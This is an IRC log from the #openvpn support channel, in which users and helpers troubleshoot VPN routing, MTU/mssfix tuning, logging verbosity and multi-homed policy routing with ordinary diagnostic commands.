00:05 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 251 seconds]
00:16 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 276 seconds]
00:26 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Ping timeout: 264 seconds]
00:29 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
00:44 -!- hazardous [~dbn@openvpn/user/hazardous] has quit [Ping timeout: 256 seconds]
00:47 -!- Willis [Willis@173.234.237.131] has joined #openvpn
00:55 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 240 seconds]
01:10 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
01:11 -!- majuscule [~dylan@dylansserver.com] has joined #openvpn
01:12 < majuscule> I've set up a TLS enabled VPN and connected with my client. How can I watch the traffic on my server to confirm it is being used? I'm trying `tcpdump -vvvA -itun0` but i get no output.
01:14 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
01:16 < pekster> majuscule: That'll work (why -A though?) However, note that it'll only show traffic sent across the tunnel, not the encapsulating traffic such as the TLS establishment
01:19 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Ping timeout: 255 seconds]
01:20 < majuscule> weird, why isn't it working then! i'm not sure how to further debug. using the openvpn android client. it says connected, i have internet access - but i suspect it's not being tunneled. I went into preferences and made sure "seamless tunnel" is enabled.
01:20 < majuscule> the -A is to ascii armor the output of raw packets (protects you from a ruined terminal)
01:21 < majuscule> thanks though pekster
01:22 <@krzee> which android client?  got logs?
01:22 <@krzee> !logs
01:22 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
01:22 < pekster> -A to nmap enables OS detection
01:23 < pekster> Oh, tcpdump :(
01:23 <@krzee> -A n to grep gives you n number lines after the match
01:23 < pekster> Yes, helps to be reading the right manpage
01:24 <@krzee> ahh
01:24 < pekster> (head burried in multicast RFCs, so I'm not reading what I type well)
01:24 <@krzee> and -O enables os detection :)
01:24 <@krzee> -A enables all detections
01:25 -!- Willis [Willis@173.234.237.131] has joined #openvpn
01:28 < pekster> majuscule: If you can ping the remote peer, you should see the packets goign across the relevant tun interface on the server. If you can't ping, fix that first
01:29 -!- sauce [sauce@unaffiliated/sauce] has quit [Quit: sauce]
01:30 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
01:31 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
01:35 < majuscule> pekster: i can ping the server over the interface from the client, i just don't see the traffic on the server
01:35 < majuscule> krzee: i'm using the openvpn connect app from the play store
01:35 < majuscule> the logs on the client only show connect/disconnect information (i'm not sure where it's stored in the filesystem, it just shows it, i'm looking...)
01:36 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 245 seconds]
01:36 < majuscule> on the server i'm not getting any logs. i think i'm missing a directive in the config for that? i see the tun interface in messages
01:36 < majuscule> looking for a way to get more, i do have verb 6 on
01:36 < majuscule> running as a service
01:38 < pekster> Anything more than verb 5 is worthless, and 5 prints a character for every packet sent/recieved both inside and outside the tunnel
01:38 < pekster> !logfile
01:38 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
01:46 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
01:46 < majuscule> hmm, I see the connection in the log (although the `status` file doesn't list any clients)
01:47 < majuscule> there's a steady stream of RW, so that's good, but it doesn't seem to correspond to my usage on the device
01:47 < majuscule> ooo now it shows in the status, cool
01:56 <@krzee> what os is the server?
01:57 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
01:58 < majuscule> debian
01:58 <@krzee> show us iptables-save
01:59 < majuscule> seeing some similar comments to my situation with some searching, but no answers. i think it's not getting the routing
01:59 < majuscule> krzee: i'm pretty sure the problem is client side, not server, is that what you meant though?
01:59 <@krzee> you want the client to route internet through the server, right?
02:00 < majuscule> yes
02:00 < majuscule> i don't have iptables-save btw
02:00 <@krzee> !factoids search --invalues iptables
02:00 <@vpnHelper> (factoids search [<channel>] [--values] [--{regexp} <value>] [<glob> ...]) -- Searches the keyspace for keys matching <glob>. If --regexp is given, it associated value is taken as a regexp and matched against the keys. If --values is given, search the value space instead of the keyspace.
02:00 <@krzee> !factoids search --values iptables
02:00 <@vpnHelper> 'linnat', 'linnat', 'lintrafaccnt', 'linportforward', 'linportforward', 'ldap_iptables', 'openvzlinnat', 'openvznat', 'iptables', 'openvznat', 'linipforward', 'shaping', 'fail2ban', and 'iptables'
02:12 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 245 seconds]
02:13 -!- N4Y [~N4Y@46.115.98.15] has joined #openvpn
02:14 < N4Y> @ops: could you please /mode #openvpn -b  *!N4Y@Nothing4You.w.tf-w.tf$##fix_your_connection
02:15 < pekster> N4Y: sure. I just got sick of your reconnect spam getting in the way of helping folks. Fix that for you in a sec
02:15 -!- mode/#openvpn [+o pekster] by ChanServ
02:15 -!- mode/#openvpn [-b *!N4Y@Nothing4You.w.tf-w.tf$##fix_your_connection] by pekster
02:15 <@pekster> N4Y: Rejoin at your leasure
02:15 < N4Y> yeah i wouldn't have done anything else in your situation, i hate that spam aswell
02:15 -!- mode/#openvpn [-o pekster] by ChanServ
02:15 -!- pcdummy is now known as Fast[BDC]
02:15 < N4Y> i just made a mistake configuring flood protection in znc
02:15 < N4Y> so it got kicked out
02:15 < N4Y> fixed it now
02:15 < N4Y> thanks
02:16 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
02:18 -!- N4Y [~N4Y@46.115.98.15] has left #openvpn ["Leaving"]
02:19 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Read error: Operation timed out]
02:24 -!- Champi [Champi@rootshell.fr] has joined #openvpn
02:24 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
02:29 -!- hesperaux_ [~hesperaux@174.37.86.108] has quit [Read error: Connection reset by peer]
02:30 -!- tharkun [~0@187.188.166.5] has joined #openvpn
02:30 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
02:30 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
02:30 -!- hesperaux_ [~hesperaux@174.37.86.108] has joined #openvpn
02:34 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:44 -!- thinkHell [~Hell@85.15.47.27] has joined #openvpn
02:46 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:33 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Ping timeout: 264 seconds]
03:45 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
03:57 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Ping timeout: 256 seconds]
04:02 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
04:06 -!- zapotah [~zapotah@a88-112-61-228.elisa-laajakaista.fi] has quit [Remote host closed the connection]
04:32 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
04:40 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: Nity nite]
04:41 -!- Champi [Champi@rootshell.fr] has quit [Read error: Connection reset by peer]
04:42 -!- Champi [Champi@rootshell.fr] has joined #openvpn
04:49 -!- abradsha [~Ade@94.125.18.11] has joined #openvpn
04:51 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
04:51 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
04:52 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
04:53 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
04:53 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
04:53 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
04:56 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
05:01 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 246 seconds]
05:13 -!- abradsha [~Ade@94.125.18.11] has quit [Quit: Too sexy for his shirt]
05:16 -!- brute11k1 [~brute@89.249.231.15] has quit [Ping timeout: 248 seconds]
05:39 -!- thinkHell [~Hell@85.15.47.27] has quit [Quit: ["pop()"]]
06:30 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
06:36 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
06:39 -!- zyphex [~pony@cpe-71-72-29-138.neo.res.rr.com] has joined #openvpn
06:40 < zyphex> Any ideas on a quality guide for RIPing over an OpenVPN link?
06:41 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
06:45 -!- yes_understand [~chatzilla@31.190.164.159] has joined #openvpn
06:50 -!- ele_ [~maarten@pinky.elexer.com] has quit [Quit: leaving]
07:00 -!- newbie|5 [~tjz@bb119-74-161-116.singnet.com.sg] has joined #openvpn
07:01 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
07:02 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:03 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 258 seconds]
07:17 -!- disaster38 [~ident@i03v-62-35-223-179.d4.club-internet.fr] has quit [Ping timeout: 276 seconds]
07:17 -!- disaster38 [~ident@lns-c10k03-v-62-35-223-179.dsl.sta.abo.bbox.fr] has joined #openvpn
07:19 -!- ele [~maarten@ks3097335.kimsufi.com] has joined #openvpn
07:30 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
07:30 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
08:03 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 268 seconds]
08:16 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
08:17 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
08:22 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:37 -!- mnice [~jdoe@static-84-242-118-58.net.upcbroadband.cz] has joined #openvpn
08:39 -!- Martin` [martin@shell.ipv6.octocore.net] has quit [Ping timeout: 264 seconds]
08:39 -!- Martin` [martin@shell.ipv6.octocore.net] has joined #openvpn
08:52 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
09:12 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:16 -!- mitz [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
09:17 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:27 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
09:27 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
09:29 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has quit [Quit: Leaving]
09:46 -!- erry [erry@freenode/staff/erry] has quit [Remote host closed the connection]
09:49 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:53 < mnice> hello
09:53 < mnice> i have weird issue .. devels reported that they have somewhat degraded tcp/ip stack performance to host behind vpn
09:53 < mnice> i've found on vpn server many messages like this:
09:53 < mnice> 16:52:13.004565 IP 192.168.68.1 > cpcertifikace: ICMP 10.168.68.6 unreachable - need to frag (mtu 1500), length 556
09:54 < mnice> ^^ 192.168.68.1 is the eth0 on vpn server/router and "cpcertifikace" is host in lan (behind vpn)
09:55 < mnice> quite mysterious is, why it reports that 10.168.68.6 is unreachable when it is reachable from both vpn server and hosts in LAN .. it's the address of vpn client
09:55 < mnice> any idea ?
09:59 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
09:59 -!- erry_ is now known as erry
10:01 -!- zhvtar [~zhvtar@unaffiliated/zhvtar] has quit [Quit: Coyote finally caught me]
10:01 -!- yes_understand [~chatzilla@31.190.164.159] has quit [Read error: Connection reset by peer]
10:02 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
10:16 -!- hazardous [~bh@openvpn/user/hazardous] has joined #openvpn
10:16 -!- mode/#openvpn [+v hazardous] by ChanServ
10:17 -!- raidz_away is now known as raidz
10:21 < mnice> pls help :P
10:30 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:34 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 272 seconds]
10:35 -!- Nu_le_rMel_down is now known as NuclearMeltdown
10:46 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 252 seconds]
10:48 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
10:59 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has joined #openvpn
11:01 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has quit [Remote host closed the connection]
11:02 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
11:18 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has joined #openvpn
11:19 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has left #openvpn []
11:20 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
11:26 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:26 -!- takamichi [~takamichi@217.23.15.212] has quit [Read error: Connection reset by peer]
11:31 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Quit: I'm outta here]
11:33 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
11:37 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Ping timeout: 256 seconds]
11:40 -!- jkroon_ [~jkroon@kerberos.uls.co.za] has joined #openvpn
11:42 < jkroon_> hi guys, seeing some strange things (can't really pinpoint it).  my *server* side (2.2.2) has two IPs in DNS, with a nexthop default route back out (and source-based routing).
11:42 -!- bwallen [~brian@pool-71-171-107-196.clppva.fios.verizon.net] has joined #openvpn
11:43 < jkroon_> so when my client connects it seems to usually pick the other possible source IP to send from, resulting in weirdness.
11:43 < jkroon_> what I have done is to set up some iptables based sets to manage the reverse-routing so that if the client sent to link 1 (and even if openvpn responds from the IP of link2) then the packet will be masquerades back to link 1.
11:44 < bwallen> I can transfer files between two sites using SCP at about 2.5MB/s. However, when I try to SCP over an OpenVPN between the same two sites the transfer rate drops to about 150KB/s. What could account for that? Is it just normal packet overhead when using openvpn?
11:44 < jkroon_> bwallen, MTU?
11:44 < jkroon_> and are you running openvpn over udp or tcp?
11:44 < bwallen> udp
11:45 < jkroon_> make sure that the MTU of your tap devices on both sides match, and is smaller than the MTU of your link, and enable MSS clamping on both sides.
11:45 < jkroon_> that usually fixes that for me.
11:45 < bwallen> Ok, I'll give that a shot. Thanks
11:46 < jkroon_> !paste
11:46 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
11:48 < jkroon_> bwallen, mssfix in the config file might also be useful for you :)
11:55 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:57 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 240 seconds]
11:58 < jkroon_> https://gist.github.com/anonymous/9c26e20e62cc857304ed <-- re my strangeness
11:58 <@vpnHelper> Title: gist:9c26e20e62cc857304ed (at gist.github.com)
11:59 -!- SriKolla [~pamod@112.134.186.248] has joined #openvpn
12:00 < bwallen> jkroon_: Adjusting the mtu and adding mssfix seemed to do the trick. Thanks!
12:00 < jkroon_> np, always glad to be of help.
12:02 -!- bwallen [~brian@pool-71-171-107-196.clppva.fios.verizon.net] has quit [Quit: Leaving]
12:02 < SriKolla> pekster u here?
12:03 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
12:19 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Ping timeout: 248 seconds]
12:29 < jkroon_> and so my plot thickens, when using tcp-client and tcp-server, it works, switching it back to udp ... failure
12:31 < pekster> Sounds like broken pMTUd to me
12:36 < jkroon_> pMTUd?
12:37 < SriKolla> pekster i followed the flow chart and seems i got some firewall issue.. im running openvz
12:37 < pekster> Then you should fix your firewall
12:38 <@krzee> pekster++
12:38 < pekster> jkroon_: path MTU discovery. Some admins that don't know what they're doing (possibly outside of your control if it's not one of your endpoits) drop the ICMP errors for "security" and no longer get the 'fragmentation needed' replies
12:38 < pekster> ICMP errors related to existing sessions are quite critical to proper MTU discovery
12:39 < jkroon_> hmm, ok, that would make sense, so if my UDP fragments require fragmentation (why do they have have don't fragment set - for optimizing the transmission side obviously ...)
12:39 < pekster> UDP vs TCP issues are almost always pMTU problems, or stateful firewalls dropping the UDP session state (generally keepalive with short-enough settings fixes that though)
12:40 < jkroon_> pekster, can I *inform* openvpn what the max path-mtu is somehow?
12:40 < pekster> See --fragment and all the related reading in the manpage. It's *far* better to actually fix the problem, not hack around it
12:41 < pekster> (fix it so you don't need --fragment and friends in openvpn, that is)
12:41 < jkroon_> would like a way to test it.  agreed @ fix the problem.  however, if the router in question is not under my control, it's not under my control.
12:42 < jkroon_> pekster, in my case the link doesn't even come up.  going to quickly run tcpdump on both sides to verify that all traffic passes.
12:43 < pekster> See --mtu-test if you want to empirically test MTU, but even that won't work if you can't get a TLS handshake (you have bigger problems if that's the case)
12:46 < jkroon_> can't get a TLS handshake, and I've managed to confirm that on atlantis side I'm transmitting packets that never get back to armadillo :(
12:46 < jkroon_> udp frames.
12:47 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
12:47 < pekster> Probably not MTU issues since the TLS negogiation generally has fairly small sized packets
12:47 < pekster> Should be easy enough to test with DF pings
12:48 < jkroon_> i'm not familiar with df pings ... ?
12:48 -!- emmanuelux [~emmanuelu@2a01:e35:2e4d:9010:2c0f:766e:d5ba:242a] has joined #openvpn
12:50 < jkroon_> don't fragment ... no, according to tcpdump there is no packets being transmitted even anywhere NEAR the mtu size of any link i'm familiar with (largest tx is 114 bytes, excluding the 20 for IP itself)
12:52 < SriKolla> pekster pardon me, the problem i'm having is i cant figure out what's wrong wit firewall settings...
12:52 < pekster> Not really an openvpn problem
12:53 < pekster> jkroon_: If packets magically "get lost" there's not a lot openvpn can do; it can't function better than the underlying link
12:53 < jkroon_> ok ... this is an issue... found problem.  on atlantis, two IPs, call them a and b.  armadillo, single large-scale-nat IP, MASQed behind single server, mapping works.
12:54 < jkroon_> so when armadillo sends to atlantis (on either IP) then it creates a conntrack on MASQ server of LSN:1194 -> a:1194 (and reverse)
12:54 < jkroon_> now atlantis receives that packet, and responds back with b:1194, this causes my NAT trickery to kick in and the reverse packet ends up being a:1026 => MASQ:1194 which the MASQ server obviously can't deal with.
12:55 < jkroon_> this explains why the tcp variant works, because the *from* IP that openvpn responds with is the same that the client connected to, and source-based routing correctly kicks in.
12:55 < pekster> So your source routing is messed up
12:56 < jkroon_> no, not completely, openvpn sends with 0.0.0.0. the routing process picks b instead of a.
12:56 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:56 < pekster> OpenVPN doesn't send with all-zeros
12:56 < pekster> If it does, you've seriously misconfigured your OS
12:56 < jkroon_> since a routing decision *has* to be made before entering into iptables and then re-routing (with the wrong source IP at that stage)
12:57 < pekster> Right. You're describing broken policy routing
12:57 < jkroon_> ok, so openvpn figures out on what IP it received the udp frame and explicitly sets the source?
12:57 < pekster> It relies on the OS to do it
12:57 < pekster> It doesn't "figure out" anything
12:57 < pekster> Try the LARTC howto and learn to policy route
12:58 < jkroon_> hehe, been there, done that.  there is a lot the LARTC doesn't know.
12:58 < pekster> Well, again, you've clearly done it wrong
12:59 < pekster> Packets never get sent with a "0" address. Routes are selected based on the routing policy roules, and a corresponding source IP is selected
13:00 < jkroon_> the way the linux kernel deals with "sending to" is to make a routing decision without any marks, and since the source addr isn't set yet, there is no way to do source-based routing at that stage.  no connection tracking to help.  so it hits the multi-path route and picks a random route (setting src as per "src" param from the selected route).  it then passes it via some of the OUTPUT chains, after whic
13:00 < jkroon_> h a re-route can be made.
13:00 < pekster> If you have a multi-homed host, you need properly configured `ip rule` and `ip route` entries to handle routing. Across different interfaces my preferred way to deal with that is connmark arriving packets frome each interface
13:00 < pekster> Then I copy ctmark to nfmark in mangle/FORWARD so `ip rule` can deal with it
13:01 < pekster> No re-route nonsense needed with that method
13:02 < pekster> I'm not really going to argue with you: if it's sending with the wrong source, policy routing has (obviously) been misconfigured. None of that is an openvpn issue, so you're better off seeking help in a more OS-specific forum until that's fixed. #netfilter is probably more appropriate
13:02 < pekster> There's nothing magic in openvpn to "force" it to use some IP to send from. The OS makes that decision. You can use --local to force bind() to use a specific IP, but the routing is out of openvpn's control
13:02 < jkroon_> thanks pekster - i agree it's not an openvpn issue.  was just hopeful that you might be able (willing) to help anyway.
13:02 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Ping timeout: 246 seconds]
13:07 < jkroon_> http://upload.wikimedia.org/wikipedia/commons/3/37/Netfilter-packet-flow.svg <-- if this is right you're wrong about the connection tracking.  the first chance netfilter gets to mess with the routing it's already too late.
13:08 < jkroon_> but thanks for helping figuring out that it's a routing problem at least.
13:08 < pekster> I've *done* connmark+nfmark+iproute2 mutli-homing before
13:08 < pekster> So I'm pretty sure I know what I'm talking about ;)
13:08 < jkroon_> hehehe, so have i, more than once, but i'm more than willing to learn something new.
13:09 -!- kubbing [~kubbing@ip-89-177-147-98.net.upcbroadband.cz] has joined #openvpn
13:11 < pekster> mangle/PREROUTING has access to --connmark
13:11 < pekster> connmark associates the outbound replies with the inbound interface; there you clone to nfmark, which `ip rule` can use as a key to send it to the proper routing table, which uses the proper source address based on the associated input stream
13:12 < jkroon_> but pre-routing isn't executed from output packets, so i'm looking at mangle/output, where I already set the nfmark.
13:12 < jkroon_> udp      17 178 src=196.37.70.12 dst=41.144.200.31 sport=1194 dport=1194 src=41.144.200.31 dst=196.37.70.12 sport=1194 dport=1194 [ASSURED] mark=103 use=1
13:12 < jkroon_> udp      17 28 src=41.144.201.228 dst=196.37.70.12 sport=1194 dport=1194 [UNREPLIED] src=196.37.70.12 dst=41.144.200.31 sport=1194 dport=1026 mark=103 use=1
13:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
13:13 < jkroon_> response creates a secondary connection tracking entry.
13:30 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
13:34 -!- jackbrown [~se@93-44-70-69.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
13:37 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 260 seconds]
13:39 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:49 -!- Drone4four [~gnull@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
13:54 -!- edwardly [~edwardly@pool-108-7-217-244.bstnma.fios.verizon.net] has joined #openvpn
13:55 < jkroon_> TLS Error: Unroutable control packet received from 41.144.200.31:1194 ??
13:57 < edwardly> Hi.  I seem to be having problems with OpenVPN when using NetworkManager.  When I use OpenVPN directly I have no issues.. So not sure if this is the right place to ask this.  Pretty much, when I connect to the VPN, I get the route 192.168.1.1 (my default gateway) added as a route through tun0 - but according to OpenVPN and the server, it's not pushing that route.  I've enabled the Gnome's "Use for resources only on this net
13:57 < edwardly> work"
13:57 < edwardly> Is there a channel for networkmanager-openvpn?
13:58 < edwardly> ... I should probably do a google search on that, now that I'm thinking about it.
14:00 <@EugeneKay> !UBUNTU
14:00 <@vpnHelper> "UBUNTU" is dont use network manager!
14:00 < edwardly> Alrighty.  I'll set up a shell script they can double click instead I guess.
14:01 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
14:05 < jkroon_> pekster, tcpdump shows bi-directional communication going now, and side-by side comparison of tcpdump shows all packets getting to and from both sides.
14:06 < jkroon_> i get the error above ... are you able to help quickly?
14:08 < mnice> hello
14:09 < mnice> i'm getting on the router very often ``16:50:26.948122 IP 192.168.68.1 > cpcertifikace: ICMP 10.168.68.6 unreachable - need to frag (mtu 1500), length 556'' and performance is crippled .. what should i set for tun0 on vpn server ?
14:10 < mnice> 10.168.86.x is client address and is reachable for clients behind vpn server
14:10 < mnice> some different MTU ?
14:11 -!- jkroon_ [~jkroon@kerberos.uls.co.za] has quit [Read error: Connection reset by peer]
14:11 -!- jkroon_ [~jkroon@kerberos.uls.co.za] has joined #openvpn
14:15 < mnice> the result of this behavour is that if i connect with browser to https://host_in_vpn/some_app the performance is crippled and loading takes long than if i connect to this host port directly (even to localhost:some_port when tunneled via ssh or public_ip_of_server/someapp when forwarded via iptables to public iface on the server)
14:15 < mnice> **behaviour
14:17 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has quit [Ping timeout: 256 seconds]
14:20 < disaster38> hi all I use debian squeeze, how i can use openvpn with aesni engine ?
14:23 -!- Autrui [~alexuline@qui56-1-78-245-124-30.fbx.proxad.net] has joined #openvpn
14:23 < Autrui> Hi
14:26 < Autrui> I've got a problem when connecting to my server, on windows 7 64 bits. Idk what is the error (and it's not firewall, i already put it off, but still got the error)
14:26 < Autrui> Here the client log :
14:26 < Autrui> http://puu.sh/2JByd.png
14:27 < Autrui> here client config http://pastebin.com/bTjB6xa9
14:27 < Autrui> Thanks in advance
14:28 < Autrui> !welcome
14:28 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
14:28 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:29 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
14:30 < disaster38> no idea about aesni support ?
14:33 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:36 -!- kubbing [~kubbing@ip-89-177-147-98.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
14:38 < mnice> hmm
14:38 -!- jkroon_ [~jkroon@kerberos.uls.co.za] has quit [Remote host closed the connection]
14:38 -!- Zenum [~quassel@unaffiliated/zenum] has quit [Read error: Connection reset by peer]
14:39 -!- novaflash is now known as novaflash_away
14:39 -!- novaflash_away is now known as novaflash
14:51 -!- Autrui [~alexuline@qui56-1-78-245-124-30.fbx.proxad.net] has quit []
14:59 -!- Fast[BDC] is now known as pcdummy
15:01 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
15:06 -!- nortel [~qssl_fnod@qw3rty-2-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn
15:07 -!- disaster38 [~ident@lns-c10k03-v-62-35-223-179.dsl.sta.abo.bbox.fr] has quit [Ping timeout: 256 seconds]
15:08 -!- disaster38 [~ident@lns-c10k03-v-62-35-223-179.dsl.sta.abo.bbox.fr] has joined #openvpn
15:08 < nortel> hello
15:09 < nortel> i am try relay udp packets of openvpn under other protocol
15:10 < nortel> i connect openvpn to localhost, get payload of udp and send to server by other protocol
15:11 < nortel> on server iam get payload of 'other' protocl and send by udp stream on localhost server
15:11 < nortel> but it not work, anybody say me why ?
15:11 < nortel> iam try static keys and tls
15:12 < MacGyver> So let me get this straight...
15:14 < nortel> iam set options float on client.
15:14 < MacGyver> Your setup is  [localhost:  <random process> <-> openvpn client <-> openvpn client <-> other transport <-> network interface] <-> [remote host: network interface <-> other transport <-> random process]? That's what I can glean from your description, and that doesn't make sense.
15:14 < nortel> no
15:15 -!- tgunr [~davec@udp004920uds.hawaiiantel.net] has joined #openvpn
15:17 < MacGyver> So what is, then?
15:17 < nortel> [openvpn client]->[to localhost udp relay]->[relay to other transport]->(to internet)->[remote server relay from 'other transport' to udp stream on localhost]->(to local openvpn server)
15:19 < MacGyver> Okay - that looks more sensible, though it beats me why you're using a udp relay. Have you isolated the problem to OpenVPN? E.g. have you tried netcatting a file over that udp relay?
15:21 < nortel> yes iam test some data transfer throught relay
15:22 < nortel> openvpn use fields of udp packets in self payload packets on handsake ?
15:23 < nortel> maybe udp packet id ? or source address of host ?
15:24 < nortel> and how you think this scheme of relay may work ?
15:28 < MacGyver> Well, if it simply encapsulates / tunnels, openvpn shouldn't be bothered by it.
15:29 < MacGyver> But if you're actually changing fields in the sent UDP packets, I don't know.
